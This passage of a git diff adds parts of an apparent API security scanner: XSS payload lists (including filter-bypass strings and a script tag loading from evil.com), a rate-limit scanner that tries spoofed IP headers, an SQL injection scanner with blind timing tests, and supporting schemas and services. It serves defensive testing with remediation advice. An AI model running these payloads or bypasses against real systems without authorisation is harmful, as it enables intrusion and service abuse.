{+ "X-Remote-IP": "127.0.0.1"+ },+ {+ "X-Client-IP": "127.0.0.1"+ },+ {+ "CF-Connecting-IP": "127.0.0.1"+ },+ {+ "True-Client-IP": "127.0.0.1"+ },+ ]++ USER_AGENT_ROTATION = [+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",+ "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36",+ "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",+ "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15",+ "curl/7.64.1",+ "python-requests/2.31.0",+ ]++ @classmethod+ def get_bypass_headers(cls) -> list[dict[str, str]]:+ """+ Get rate limit bypass header combinations++ Returns:+ list[dict[str, str]]: Header combinations for testing+ """+ return cls.HEADER_SPOOFING++ @classmethod+ def get_header_patterns(cls) -> dict[str, str]:+ """+ Get rate limit header detection patterns++ Returns:+ dict[str, str]: Regex patterns for rate limit headers+ """+ return cls.HEADER_PATTERNS++ @classmethod+ def get_endpoint_variations(cls) -> list[str]:+ """+ Get endpoint variations for bypass testing++ Returns:+ list[str]: Endpoint path variations+ """+ return cls.ENDPOINT_VARIATIONS+++class XSSPayloads:+ """+ Cross-Site Scripting (XSS) test payloads for potential future testing+ """++ BASIC_XSS = [+ "<script>alert('XSS')</script>",+ "<script>alert(1)</script>",+ "<script>confirm('XSS')</script>",+ "<script>prompt('XSS')</script>",+ "<script src='http://evil.com/xss.js'></script>",+ ]++ EVENT_HANDLER_XSS = [+ "<img src=x onerror=alert('XSS')>",+ "<img src=x onerror=alert(1)>",+ "<body onload=alert('XSS')>",+ "<input onfocus=alert('XSS') autofocus>",+ "<select onfocus=alert('XSS') autofocus>",+ "<textarea onfocus=alert('XSS') autofocus>",+ "<keygen onfocus=alert('XSS') autofocus>",+ "<video><source onerror=alert('XSS')>",+ "<audio src=x onerror=alert('XSS')>",+ "<details open ontoggle=alert('XSS')>",+ ]++ SVG_XSS = [+ "<svg/onload=alert('XSS')>",+ "<svg onload=alert(1)>",+ "<svg><script>alert('XSS')</script></svg>",+ "<svg><animate onbegin=alert('XSS')>",+ "<svg><set attributeName=onmouseover to=alert('XSS')>",+ ]++ IFRAME_XSS = [+ "<iframe src='javascript:alert(\"XSS\")'></iframe>",+ "<iframe src=data:text/html,<script>alert('XSS')</script>></iframe>",+ "<iframe srcdoc='<script>alert(\"XSS\")</script>'></iframe>",+ ]++ ENCODED_XSS = [+ "<script>alert(String.fromCharCode(88,83,83))</script>",+ "<script>alert('XSS')</script>",+ "%3Cscript%3Ealert('XSS')%3C/script%3E",+ "<script>alert('XSS')</script>",+ "\\x3cscript\\x3ealert('XSS')\\x3c/script\\x3e",+ ]++ ATTRIBUTE_BREAKING = [+ "' onmouseover='alert(\"XSS\")'",+ "\" onmouseover=\"alert('XSS')\"",+ "' onclick='alert(\"XSS\")' '",+ "\" autofocus onfocus=\"alert('XSS')\"",+ "'/><script>alert('XSS')</script>",+ "\"/><script>alert('XSS')</script>",+ ]++ FILTER_BYPASS = [+ "<scr<script>ipt>alert('XSS')</scr</script>ipt>",+ "<ScRiPt>alert('XSS')</sCrIpT>",+ "<script>alert('XSS')//",+ "<script>alert('XSS')<!--",+ "<<script>alert('XSS')</script>",+ "<script\x20type='text/javascript'>alert('XSS')</script>",+ "<script\x0D\x0A>alert('XSS')</script>",+ ]++ POLYGLOT_XSS = [+ "javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/\"/+/onmouseover=1/+/[*/[]/+alert(1)//'>",+ "'\"><script>alert(String.fromCharCode(88,83,83))</script>",+ "-->'><script>alert(1)</script>",+ "';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></script>",+ ]++ @classmethod+ def get_all_payloads(cls) -> list[str]:+ """+ Get all XSS test payloads combined++ Returns:+ list[str]: All XSS test payloads+ """+ return (+ cls.BASIC_XSS + cls.EVENT_HANDLER_XSS + cls.SVG_XSS ++ cls.IFRAME_XSS + cls.ENCODED_XSS ++ cls.ATTRIBUTE_BREAKING + cls.FILTER_BYPASS ++ cls.POLYGLOT_XSS+ )++ @classmethod+ def get_basic_payloads(cls) -> list[str]:+ """+ Get basic XSS test payloads++ Returns:+ list[str]: Basic XSS payloads+ """+ return cls.BASIC_XSSdiff --git a/api-security-scanner/backend/scanners/rate_limit_scanner.py b/api-security-scanner/backend/scanners/rate_limit_scanner.pynew file mode 100644index 00000000..06ddd7ae--- /dev/null+++ b/api-security-scanner/backend/scanners/rate_limit_scanner.py@@ -0,0 +1,354 @@+"""+©AngelaMos | 2025+Rate limiting detection and bypass testing scanner++OWASP API4:2023+"""++from __future__ import annotations++import re+import time+from typing import Any++from ..core.enums import (+ ScanStatus,+ Severity,+ TestType,+)+from ..schemas.test_result_schemas import TestResultCreate++from .base_scanner import BaseScanner+from .payloads import RateLimitBypassPayloads+++class RateLimitScanner(BaseScanner):+ """+ Rate limiting and bypass vulnerabilities tests+ """+ def scan(self) -> TestResultCreate:+ """+ Execute rate limiting tests++ Returns:+ TestResultCreate: Scan result with findings+ """+ rate_limit_info = self._detect_rate_limiting()++ if not rate_limit_info["rate_limit_detected"]:+ return self._create_vulnerable_result(+ details =+ "No rate limiting detected on target endpoint",+ evidence = rate_limit_info,+ recommendations = [+ "Implement rate limiting to prevent abuse and DoS attacks",+ "Use standard rate limit headers (X-RateLimit-Limit, X-RateLimit-Remaining)",+ "Return 429 Too Many Requests when limits are exceeded",+ "Include Retry-After header with 429 responses",+ ],+ )++ if rate_limit_info["enforcement_status"] == "HEADERS_ONLY":+ return self._create_vulnerable_result(+ details =+ "Rate limit headers present but not enforced",+ evidence = rate_limit_info,+ severity = Severity.MEDIUM,+ recommendations = [+ "Enforce rate limits with 429 responses when thresholds are exceeded",+ "Rate limit headers without enforcement provide false security",+ ],+ )++ bypass_results = self._test_bypass_techniques()++ if bypass_results["bypass_successful"]:+ return self._create_vulnerable_result(+ details =+ f"Rate limiting bypassed using: {bypass_results['bypass_method']}",+ evidence = {+ "rate_limit_info": rate_limit_info,+ "bypass_details": bypass_results,+ },+ severity = Severity.HIGH,+ recommendations = [+ f"Fix bypass vulnerability: {bypass_results['bypass_method']}",+ "Do not trust client-provided IP headers (X-Forwarded-For, X-Real-IP)",+ "Implement rate limiting at multiple layers (IP, user, API key)",+ "Validate and sanitize all client-provided headers",+ ],+ )++ return TestResultCreate(+ test_name = TestType.RATE_LIMIT,+ status = ScanStatus.SAFE,+ severity = Severity.INFO,+ details =+ "Rate limiting properly implemented and enforced",+ evidence_json = {+ "rate_limit_info": rate_limit_info,+ "bypass_attempts": bypass_results,+ },+ recommendations_json = [+ "Rate limiting is properly configured",+ "Continue monitoring for new bypass techniques",+ ],+ )++ def _detect_rate_limiting(self,+ test_request_count: int = 20+ ) -> dict[str,+ Any]:+ """+ Detect rate limiting by analyzing headers and response patterns++ Based on industry research: checks for standard headers and 429 responses++ Args:+ test_request_count: Number of requests to send++ Returns:+ dict[str, Any]: Rate limiting detection results+ """+ rate_limit_patterns = RateLimitBypassPayloads.get_header_patterns()++ results = {+ "rate_limit_detected": False,+ "rate_limit_headers": {},+ "limit_threshold": None,+ "reset_window": None,+ "enforcement_status": None,+ "attempts_until_limit": None,+ "request_results": [],+ }++ for attempt in range(1, test_request_count + 1):+ try:+ response = self.make_request("GET", "/")++ headers_lower = {+ k.lower(): v+ for k, v in response.headers.items()+ }++ for header_type, pattern in rate_limit_patterns.items():+ for header_name, header_value in headers_lower.items():+ if re.search(pattern,+ header_name,+ re.IGNORECASE):+ results["rate_limit_headers"][+ header_type] = {+ "header_name": header_name,+ "value": header_value,+ }+ results["rate_limit_detected"] = True++ results["request_results"].append(+ {+ "attempt":+ attempt,+ "status_code":+ response.status_code,+ "response_time_ms":+ round(+ getattr(response,+ "request_time",+ 0.0) * 1000,+ 2+ ),+ }+ )++ if response.status_code == 429:+ results["enforcement_status"] = "ACTIVE"+ results["attempts_until_limit"] = attempt++ retry_after = response.headers.get("Retry-After")+ if retry_after:+ results["retry_after_seconds"] = retry_after++ break++ time.sleep(0.1)++ except Exception as e:+ results["request_results"].append(+ {+ "attempt": attempt,+ "error": str(e)+ }+ )+ break++ if results["rate_limit_detected"]:+ if "limit" in results["rate_limit_headers"]:+ results["limit_threshold"] = results[+ "rate_limit_headers"]["limit"]["value"]++ if "reset" in results["rate_limit_headers"]:+ results["reset_window"] = results["rate_limit_headers"+ ]["reset"]["value"]++ if not results["enforcement_status"]:+ results["enforcement_status"] = "HEADERS_ONLY"+ else:+ results["enforcement_status"] = "NONE"++ return results++ def _test_bypass_techniques(self) -> dict[str, Any]:+ """+ Test common rate limit bypass techniques++ Based on HackTricks and OWASP:+ - IP header spoofing (X-Forwarded-For, X-Real-IP, etc.)+ - Endpoint case variations++ Returns:+ dict[str, Any]: Bypass test results+ """+ results = {+ "bypass_successful": False,+ "bypass_method": None,+ "bypass_details": {},+ }++ ip_bypass = self._test_ip_header_bypass()+ if ip_bypass["bypass_successful"]:+ results["bypass_successful"] = True+ results["bypass_method"] = "IP Header Spoofing"+ results["bypass_details"] = ip_bypass+ return results++ endpoint_bypass = self._test_endpoint_variation_bypass()+ if endpoint_bypass["bypass_successful"]:+ results["bypass_successful"] = True+ results["bypass_method"] = "Endpoint Case Variation"+ results["bypass_details"] = endpoint_bypass+ return results++ results["bypass_details"] = {+ "ip_header_test": ip_bypass,+ "endpoint_variation_test": endpoint_bypass,+ }++ return results++ def _test_ip_header_bypass(self,+ test_count: int = 15) -> dict[str,+ Any]:+ """+ Test if rate limiting can be bypassed with IP spoofing headers++ Many rate limiters trust X-Forwarded-For and similar headers,+ allowing attackers to bypass limits by rotating fake IPs++ Args:+ test_count: Number of requests to test++ Returns:+ dict[str, Any]: IP bypass test results+ """+ bypass_headers = RateLimitBypassPayloads.HEADER_SPOOFING++ for header_dict in bypass_headers:+ header_name = list(header_dict.keys())[0]+ success_count = 0++ for i in range(test_count):+ fake_ip = f"10.{i % 255}.{(i // 255) % 255}.1"+ test_headers = {header_name: fake_ip}++ try:+ response = self.make_request(+ "GET",+ "/",+ headers = test_headers+ )++ if response.status_code != 429:+ success_count += 1+ else:+ break++ except Exception:+ break++ if success_count == test_count:+ return {+ "bypass_successful": True,+ "header_used": header_name,+ "requests_completed": success_count,+ "fake_ip_example": "10.0.0.1",+ }++ return {+ "bypass_successful": False,+ "headers_tested":+ [list(h.keys())[0] for h in bypass_headers],+ }++ def _test_endpoint_variation_bypass(self) -> dict[str, Any]:+ """+ Test if endpoint case variations bypass rate limiting++ Some rate limiters are case-sensitive or miss URL variations++ Returns:+ dict[str, Any]: Endpoint variation test results+ """+ variations = RateLimitBypassPayloads.get_endpoint_variations()++ for variant in variations:+ success_count = 0++ for _ in range(10):+ try:+ response = self.make_request("GET", variant)+ if response.status_code != 429:+ success_count += 1+ else:+ break+ except Exception:+ break++ if success_count == 10 and variant != "/":+ return {+ "bypass_successful": True,+ "bypass_variant": variant,+ "requests_completed": success_count,+ }++ return {+ "bypass_successful": False,+ "variations_tested": variations,+ }++ def _create_vulnerable_result(+ self,+ details: str,+ evidence: dict[str,+ Any],+ severity: Severity = Severity.HIGH,+ recommendations: list[str] | None = None,+ ) -> TestResultCreate:+ """+ Create a vulnerable scan result++ Args:+ details: Vulnerability description+ evidence: Evidence dictionary+ severity: Vulnerability severity+ recommendations: List of remediation recommendations++ Returns:+ TestResultCreate: Vulnerable result+ """+ return TestResultCreate(+ test_name = TestType.RATE_LIMIT,+ status = ScanStatus.VULNERABLE,+ severity = severity,+ details = details,+ evidence_json = evidence,+ recommendations_json = recommendations or [],+ )diff --git a/api-security-scanner/backend/scanners/sqli_scanner.py b/api-security-scanner/backend/scanners/sqli_scanner.pynew file mode 100644index 00000000..ff085be4--- /dev/null+++ b/api-security-scanner/backend/scanners/sqli_scanner.py@@ -0,0 +1,316 @@+"""+©AngelaMos | 2025+SQL injection vulnerability scanner++Tests error based, boolean based, and time based blind SQLi+"""++import time+import statistics+from typing import Any++from ..core.enums import (+ ScanStatus,+ Severity,+ TestType,+)+from ..schemas.test_result_schemas import TestResultCreate++from .payloads import SQLiPayloads+from .base_scanner import BaseScanner+++class SQLiScanner(BaseScanner):+ """+ Tests for SQL injection vulnerabilities++ Detects:+ - Error-based SQLi (database error messages)+ - Boolean-based blind SQLi (response differences)+ - Time-based blind SQLi (response timing analysis)++ Uses payloads covering MySQL, PostgreSQL, MSSQL, Oracle+ """++ def scan(self) -> TestResultCreate:+ """+ Execute SQL injection tests++ Returns:+ TestResultCreate: Scan result with findings+ """+ error_based_test = self._test_error_based_sqli()+ if error_based_test["vulnerable"]:+ return self._create_vulnerable_result(+ details=f"Error-based SQL injection detected: {error_based_test['database_type']}",+ evidence=error_based_test,+ severity=Severity.CRITICAL,+ recommendations=[+ "Use parameterized queries (prepared statements)",+ "Never concatenate user input into SQL queries",+ "Implement input validation and sanitization",+ "Disable detailed error messages in production",+ "Use ORM frameworks with proper escaping",+ ],+ )++ boolean_based_test = self._test_boolean_based_sqli()+ if boolean_based_test["vulnerable"]:+ return self._create_vulnerable_result(+ details="Boolean-based blind SQL injection detected",+ evidence=boolean_based_test,+ severity=Severity.CRITICAL,+ recommendations=[+ "Use parameterized queries for all database operations",+ "Implement proper input validation",+ "Avoid exposing different responses for true/false conditions",+ ],+ )++ time_based_test = self._test_time_based_sqli()+ if time_based_test["vulnerable"]:+ return self._create_vulnerable_result(+ details=f"Time-based blind SQL injection detected: {time_based_test['database_type']}",+ evidence=time_based_test,+ severity=Severity.CRITICAL,+ recommendations=[+ "Use parameterized queries exclusively",+ "Implement strict input validation",+ "Monitor for unusual response time patterns",+ ],+ )++ return TestResultCreate(+ test_name=TestType.SQLI,+ status=ScanStatus.SAFE,+ severity=Severity.INFO,+ details="No SQL injection vulnerabilities detected",+ evidence_json={+ "error_based_test": error_based_test,+ "boolean_based_test": boolean_based_test,+ "time_based_test": time_based_test,+ },+ recommendations_json=[+ "Continue using parameterized queries",+ "Regularly update security testing",+ ],+ )++ def _test_error_based_sqli(self) -> dict[str, Any]:+ """+ Test for error based SQL injection++ Detects database errors in responses indicating SQLi vulnerability++ Returns:+ dict[str, Any]: Error-based SQLi test results+ """+ error_signatures = SQLiPayloads.get_error_signatures()++ basic_payloads = SQLiPayloads.BASIC_AUTHENTICATION_BYPASS++ for payload in basic_payloads:+ try:+ response = self.make_request(+ "GET", f"/?id={payload}"+ )++ response_text_lower = response.text.lower()++ for db_type, signatures in error_signatures.items():+ for signature in signatures:+ if signature in response_text_lower:+ return {+ "vulnerable": True,+ "database_type": db_type,+ "payload": payload,+ "status_code": response.status_code,+ "error_signature": signature,+ "response_excerpt": response.text[:500],+ }++ except Exception:+ continue++ return {+ "vulnerable": False,+ "payloads_tested": len(basic_payloads),+ "description": "No database errors detected",+ }++ def _test_boolean_based_sqli(self) -> dict[str, Any]:+ """+ Test for boolean based blind SQL injection++ Compares responses from true vs false conditions to detect SQLi++ Returns:+ dict[str, Any]: Boolean based SQLi test results+ """+ try:+ baseline_response = self.make_request("GET", "/?id=1")+ baseline_length = len(baseline_response.text)+ baseline_status = baseline_response.status_code++ if baseline_status != 200:+ return {+ "vulnerable": False,+ "description": "Baseline request failed",+ "baseline_status": baseline_status,+ }++ boolean_payloads = SQLiPayloads.BOOLEAN_BASED_BLIND+ true_payloads = [p for p in boolean_payloads if "AND '1'='1" in p or "AND 1=1" in p]+ false_payloads = [p for p in boolean_payloads if "AND '1'='2" in p or "AND 1=2" in p or "AND 1=0" in p]++ true_lengths = []+ for payload in true_payloads:+ response = self.make_request("GET", f"/?id={payload}")+ true_lengths.append(len(response.text))++ false_lengths = []+ for payload in false_payloads:+ response = self.make_request("GET", f"/?id={payload}")+ false_lengths.append(len(response.text))++ avg_true = statistics.mean(true_lengths)+ avg_false = statistics.mean(false_lengths)++ length_diff = abs(avg_true - avg_false)++ if length_diff > 100 and avg_true != avg_false:+ return {+ "vulnerable": True,+ "baseline_length": baseline_length,+ "true_condition_avg_length": avg_true,+ "false_condition_avg_length": avg_false,+ "length_difference": length_diff,+ "confidence": "HIGH"+ if length_diff > 500+ else "MEDIUM",+ }++ return {+ "vulnerable": False,+ "description": "No boolean-based SQLi detected",+ "length_difference": length_diff,+ }++ except Exception as e:+ return {+ "vulnerable": False,+ "error": str(e),+ "description": "Error testing boolean-based SQLi",+ }++ def _test_time_based_sqli(+ self, delay_seconds: int = 5+ ) -> dict[str, Any]:+ """+ Test for time based blind SQL injection++ Uses baseline timing comparison with statistical analysis+ for false positive reduction++ Args:+ delay_seconds: Delay to inject (from settings)++ Returns:+ dict[str, Any]: Time-based SQLi test results+ """+ try:+ baseline_mean, baseline_stdev = self.get_baseline_timing("/")++ threshold = baseline_mean + (3 * baseline_stdev)+ expected_delay_time = baseline_mean + delay_seconds++ all_time_payloads = SQLiPayloads.TIME_BASED_BLIND++ delay_payloads = {+ "mysql": [p for p in all_time_payloads if "SLEEP" in p],+ "postgres": [p for p in all_time_payloads if "pg_sleep" in p],+ "mssql": [p for p in all_time_payloads if "WAITFOR" in p],+ }++ for db_type, payloads in delay_payloads.items():+ for payload in payloads:+ delay_times = []++ for _ in range(3):+ try:+ response = self.make_request(+ "GET",+ f"/?id={payload}",+ timeout=delay_seconds + 10,+ )+ elapsed = getattr(response, "request_time", 0.0)+ delay_times.append(elapsed)++ except Exception:+ delay_times.append(delay_seconds + 10)++ time.sleep(1)++ avg_delay = statistics.mean(delay_times)++ if avg_delay >= expected_delay_time - 1:+ confidence = (+ "HIGH"+ if avg_delay >= expected_delay_time+ else "MEDIUM"+ )++ return {+ "vulnerable": True,+ "database_type": db_type,+ "payload": payload,+ "baseline_time": f"{baseline_mean:.3f}s",+ "response_time": f"{avg_delay:.3f}s",+ "expected_delay": f"{expected_delay_time:.3f}s",+ "confidence": confidence,+ "individual_times": [+ f"{t:.3f}s" for t in delay_times+ ],+ }++ return {+ "vulnerable": False,+ "baseline_time": f"{baseline_mean:.3f}s",+ "threshold": f"{threshold:.3f}s",+ "description": "No time-based SQLi detected",+ }++ except Exception as e:+ return {+ "vulnerable": False,+ "error": str(e),+ "description": "Error testing time-based SQLi",+ }++ def _create_vulnerable_result(+ self,+ details: str,+ evidence: dict[str, Any],+ severity: Severity = Severity.CRITICAL,+ recommendations: list[str] | None = None,+ ) -> TestResultCreate:+ """+ Create a vulnerable scan result++ Args:+ details: Vulnerability description+ evidence: Evidence dictionary+ severity: Vulnerability severity+ recommendations: List of remediation recommendations++ Returns:+ TestResultCreate: Vulnerable result+ """+ return TestResultCreate(+ test_name=TestType.SQLI,+ status=ScanStatus.VULNERABLE,+ severity=severity,+ details=details,+ evidence_json=evidence,+ recommendations_json=recommendations or [],+ )diff --git a/api-security-scanner/backend/schemas/__init__.py b/api-security-scanner/backend/schemas/__init__.pynew file mode 100644index 00000000..7de189d8--- /dev/null+++ b/api-security-scanner/backend/schemas/__init__.py@@ -0,0 +1,30 @@+"""Pydantic schemas for API validation and serialization"""++from .user_schemas import (+ TokenResponse,+ UserCreate,+ UserLogin,+ UserResponse,+)+from .scan_schemas import (+ ScanRequest,+ ScanResponse,+)+from .test_result_schemas import (+ TestResultCreate,+ TestResultResponse,+)++__all__ = [+ # User schemas+ "UserCreate",+ "UserLogin",+ "UserResponse",+ "TokenResponse",+ # Scan schemas+ "ScanRequest",+ "ScanResponse",+ # Test result schemas+ "TestResultCreate",+ "TestResultResponse",+]diff --git a/api-security-scanner/backend/schemas/scan_schemas.py b/api-security-scanner/backend/schemas/scan_schemas.pynew file mode 100644index 00000000..eeb93daa--- /dev/null+++ b/api-security-scanner/backend/schemas/scan_schemas.py@@ -0,0 +1,63 @@+"""+ⒸAngelaMos | 2025+Scan model API validation and serialization.+"""++from __future__ import annotations++from pydantic import (+ BaseModel,+ ConfigDict,+ Field,+ HttpUrl,+)+from datetime import datetime++from ..config import settings+from ..core.enums import TestType+++class ScanRequest(BaseModel):+ """+ Schema for creating a new security scan+ """+ target_url: HttpUrl = Field(max_length = settings.URL_MAX_LENGTH)+ auth_token: str | None = None+ tests_to_run: list[TestType] = Field(min_length = 1)+ max_requests: int = Field(+ default = settings.DEFAULT_MAX_REQUESTS,+ ge = 1,+ le = settings.SCANNER_MAX_CONCURRENT_REQUESTS,+ )+++class ScanResponse(BaseModel):+ """+ Schema for scan data in API responses+ """+ # Circular to avoid circular imports+ from .test_result_schemas import TestResultResponse+ model_config = ConfigDict(from_attributes = True)++ id: int+ user_id: int+ target_url: str+ scan_date: datetime+ created_at: datetime+ test_results: list[TestResultResponse] = []++ @property+ def total_tests(self) -> int:+ """+ Total number of tests run+ """+ return len(self.test_results)++ @property+ def vulnerabilities_found(self) -> int:+ """+ Number of vulnerabilities found+ """+ return sum(+ 1 for r in self.test_results if r.status == "vulnerable"+ )diff --git a/api-security-scanner/backend/schemas/test_result_schemas.py b/api-security-scanner/backend/schemas/test_result_schemas.pynew file mode 100644index 00000000..a871fbd4--- /dev/null+++ b/api-security-scanner/backend/schemas/test_result_schemas.py@@ -0,0 +1,61 @@+"""+ⒸAngelaMos | 2025+TestResult model API validation and serialization+"""++from typing import Any+from datetime import datetime+from pydantic import (+ BaseModel,+ ConfigDict,+ Field,+)++from ..core.enums import (+ ScanStatus,+ Severity,+ TestType,+)+++class TestResultCreate(BaseModel):+ """+ Schema for creating a new test result (used by scanners)+ """+ test_name: TestType+ status: ScanStatus+ severity: Severity+ details: str+ evidence_json: dict[str, Any] = Field(default_factory = dict)+ recommendations_json: list[str] = Field(default_factory = list)+++class TestResultResponse(BaseModel):+ """+ Schema for individual test result in API responses+ """+ model_config = ConfigDict(from_attributes = True)++ id: int+ scan_id: int+ test_name: TestType+ status: ScanStatus+ severity: Severity+ details: str+ evidence_json: dict[str, Any]+ recommendations_json: list[str]+ created_at: datetime++ @property+ def is_vulnerable(self) -> bool:+ """+ Check if result indicates a vulnerability+ """+ return self.status == ScanStatus.VULNERABLE++ @property+ def is_high_severity(self) -> bool:+ """+ Check if vulnerability is high severity+ """+ return self.severity == Severity.HIGHdiff --git a/api-security-scanner/backend/schemas/user_schemas.py b/api-security-scanner/backend/schemas/user_schemas.pynew file mode 100644index 00000000..18585bb8--- /dev/null+++ b/api-security-scanner/backend/schemas/user_schemas.py@@ -0,0 +1,55 @@+"""+Pydantic schemas for User model - API validation and serialization.+"""++from __future__ import annotations++from datetime import datetime++from pydantic import BaseModel, ConfigDict, EmailStr, Field++from ..config import settings+++class UserCreate(BaseModel):+ """+ Schema for user registration request.+ """++ email: EmailStr+ password: str = Field(+ min_length = settings.PASSWORD_MIN_LENGTH,+ max_length = settings.PASSWORD_MAX_LENGTH,+ )+++class UserLogin(BaseModel):+ """+ Schema for user login request.+ """++ email: EmailStr+ password: str+++class UserResponse(BaseModel):+ """+ Schema for user data in API responses.+ Excludes sensitive fields like hashed_password.+ """++ model_config = ConfigDict(from_attributes = True)++ id: int+ email: str+ is_active: bool+ created_at: datetime+++class TokenResponse(BaseModel):+ """+ Schema for JWT token response.+ """++ access_token: str+ token_type: str = "bearer"diff --git a/api-security-scanner/backend/services/__init__.py b/api-security-scanner/backend/services/__init__.pynew file mode 100644index 00000000..3ee54626--- /dev/null+++ b/api-security-scanner/backend/services/__init__.py@@ -0,0 +1,13 @@+"""+ⒸAngelaMos | 2025+Biz logic layer for orchestrating repositories and scanners+"""++from .auth_service import AuthService+from .scan_service import ScanService+++__all__ = [+ "AuthService",+ "ScanService",+]diff --git a/api-security-scanner/backend/services/auth_service.py b/api-security-scanner/backend/services/auth_service.pynew file mode 100644index 00000000..7e9cd80e--- /dev/null+++ b/api-security-scanner/backend/services/auth_service.py@@ -0,0 +1,132 @@+"""+©AngelaMos | 2025+Authentication service for user registration and login+"""++from __future__ import annotations++from datetime import timedelta+from sqlalchemy.orm import Session+from fastapi import HTTPException, status++from ..config import settings+from ..core.security import (+ create_access_token,+ hash_password,+ verify_password,+)+from ..schemas.user_schemas import (+ TokenResponse,+ UserCreate,+ UserLogin,+ UserResponse,+)+from ..repositories.user_repository import UserRepository+++class AuthService:+ """+ User registration, login, and token generation+ """+ @staticmethod+ def register_user(+ db: Session,+ user_data: UserCreate+ ) -> UserResponse:+ """+ Register a new user++ Args:+ db: Database session+ user_data: User registration data++ Returns:+ UserResponse: Created user data+ """+ existing_user = UserRepository.get_by_email(+ db,+ user_data.email+ )+ if existing_user:+ raise HTTPException(+ status_code = status.HTTP_400_BAD_REQUEST,+ detail = "Email already registered",+ )++ hashed_password = hash_password(user_data.password)++ user = UserRepository.create_user(+ db = db,+ email = user_data.email,+ hashed_password = hashed_password,+ )++ return UserResponse.model_validate(user)++ @staticmethod+ def login_user(+ db: Session,+ login_data: UserLogin+ ) -> TokenResponse:+ """+ Authenticate user and generate access token++ Args:+ db: Database session+ login_data: User login credentials++ Returns:+ TokenResponse: JWT access token+ """+ user = UserRepository.get_by_email(db, login_data.email)++ if not user:+ raise HTTPException(+ status_code = status.HTTP_401_UNAUTHORIZED,+ detail = "Invalid email or password",+ )++ if not verify_password(login_data.password,+ user.hashed_password):+ raise HTTPException(+ status_code = status.HTTP_401_UNAUTHORIZED,+ detail = "Invalid email or password",+ )++ if not user.is_active:+ raise HTTPException(+ status_code = status.HTTP_403_FORBIDDEN,+ detail = "Account is inactive",+ )++ access_token = create_access_token(+ data = {"sub": user.email},+ expires_delta = timedelta(+ minutes = settings.ACCESS_TOKEN_EXPIRE_MINUTES+ ),+ )++ return TokenResponse(+ access_token = access_token,+ token_type = "bearer"+ )++ @staticmethod+ def get_user_by_email(+ db: Session,+ email: str+ ) -> UserResponse | None:+ """+ Get user by email address++ Args:+ db: Database session+ email: User email++ Returns:+ UserResponse | None: User data or None if not found+ """+ user = UserRepository.get_by_email(db, email)+ if user:+ return UserResponse.model_validate(user)+ return Nonediff --git a/api-security-scanner/backend/services/scan_service.py b/api-security-scanner/backend/services/scan_service.pynew file mode 100644index 00000000..a6309775--- /dev/null+++ b/api-security-scanner/backend/services/scan_service.py@@ -0,0 +1,194 @@+"""+©AngelaMos | 2025+Coordinates scanners and saves results+"""++from __future__ import annotations++from sqlalchemy.orm import Session+from fastapi import HTTPException, status++from ..core.enums import TestType+from ..repositories.scan_repository import ScanRepository+from ..repositories.test_result_repository import TestResultRepository++from ..scanners.auth_scanner import AuthScanner+from ..scanners.idor_scanner import IDORScanner+from ..scanners.sqli_scanner import SQLiScanner+from ..scanners.rate_limit_scanner import RateLimitScanner+from ..schemas.test_result_schemas import TestResultCreate+from ..schemas.scan_schemas import ScanRequest, ScanResponse+++class ScanService:+ """+ Orchestrates security scanning workflow+ """+ @staticmethod+ def run_scan(+ db: Session,+ user_id: int,+ scan_request: ScanRequest+ ) -> ScanResponse:+ """+ Execute security scan with selected tests++ Args:+ db: Database session+ user_id: User ID initiating the scan+ scan_request: Scan configuration and tests to run++ Returns:+ ScanResponse: Scan results with all test outcomes+ """+ scan = ScanRepository.create_scan(+ db = db,+ user_id = user_id,+ target_url = str(scan_request.target_url),+ )++ scanner_mapping = {+ TestType.RATE_LIMIT: RateLimitScanner,+ TestType.AUTH: AuthScanner,+ TestType.SQLI: SQLiScanner,+ TestType.IDOR: IDORScanner,+ }++ results: list[TestResultCreate] = []++ for test_type in scan_request.tests_to_run:+ scanner_class = scanner_mapping.get(test_type)++ if not scanner_class:+ continue++ try:+ scanner = scanner_class(+ target_url = str(scan_request.target_url),+ auth_token = scan_request.auth_token,+ max_requests = scan_request.max_requests,+ )++ result = scanner.scan()+ results.append(result)++ except Exception as e:+ results.append(+ TestResultCreate(+ test_name = test_type,+ status = "error",+ severity = "info",+ details = f"Scanner error: {str(e)}",+ evidence_json = {"error": str(e)},+ recommendations_json = [+ "Check target URL is accessible",+ "Verify authentication token if provided",+ ],+ )+ )++ for result in results:+ TestResultRepository.create_test_result(+ db = db,+ scan_id = scan.id,+ test_name = result.test_name,+ status = result.status,+ severity = result.severity,+ details = result.details,+ evidence_json = result.evidence_json,+ recommendations_json = result.recommendations_json,+ )++ db.refresh(scan)++ return ScanResponse.model_validate(scan)++ @staticmethod+ def get_scan_by_id(+ db: Session,+ scan_id: int,+ user_id: int+ ) -> ScanResponse:+ """+ Get scan by ID with authorization check++ Args:+ db: Database session+ scan_id: Scan ID to retrieve+ user_id: User ID for authorization++ Returns:+ ScanResponse: Scan data with results+ """+ scan = ScanRepository.get_by_id(db, scan_id)++ if not scan:+ raise HTTPException(+ status_code = status.HTTP_404_NOT_FOUND,+ detail = "Scan not found",+ )++ if scan.user_id != user_id:+ raise HTTPException(+ status_code = status.HTTP_403_FORBIDDEN,+ detail = "Not authorized to access this scan",+ )++ return ScanResponse.model_validate(scan)++ @staticmethod+ def get_user_scans(+ db: Session,+ user_id: int,+ skip: int = 0,+ limit: int | None = None+ ) -> list[ScanResponse]:+ """+ Get all scans for a user with pagination++ Args:+ db: Database session+ user_id: User ID+ skip: Number of records to skip+ limit: Maximum number of records to return++ Returns:+ list[ScanResponse]: List of user's scans+ """+ scans = ScanRepository.get_by_user(+ db = db,+ user_id = user_id,+ skip = skip,+ limit = limit+ )++ return [ScanResponse.model_validate(scan) for scan in scans]++ @staticmethod+ def delete_scan(db: Session, scan_id: int, user_id: int) -> bool:+ """+ Delete scan with authorization check++ Args:+ db: Database session+ scan_id: Scan ID to delete+ user_id: User ID for authorization++ Returns:+ bool: True if deleted successfully+ """+ scan = ScanRepository.get_by_id(db, scan_id)++ if not scan:+ raise HTTPException(+ status_code = status.HTTP_404_NOT_FOUND,+ detail = "Scan not found",+ )++ if scan.user_id != 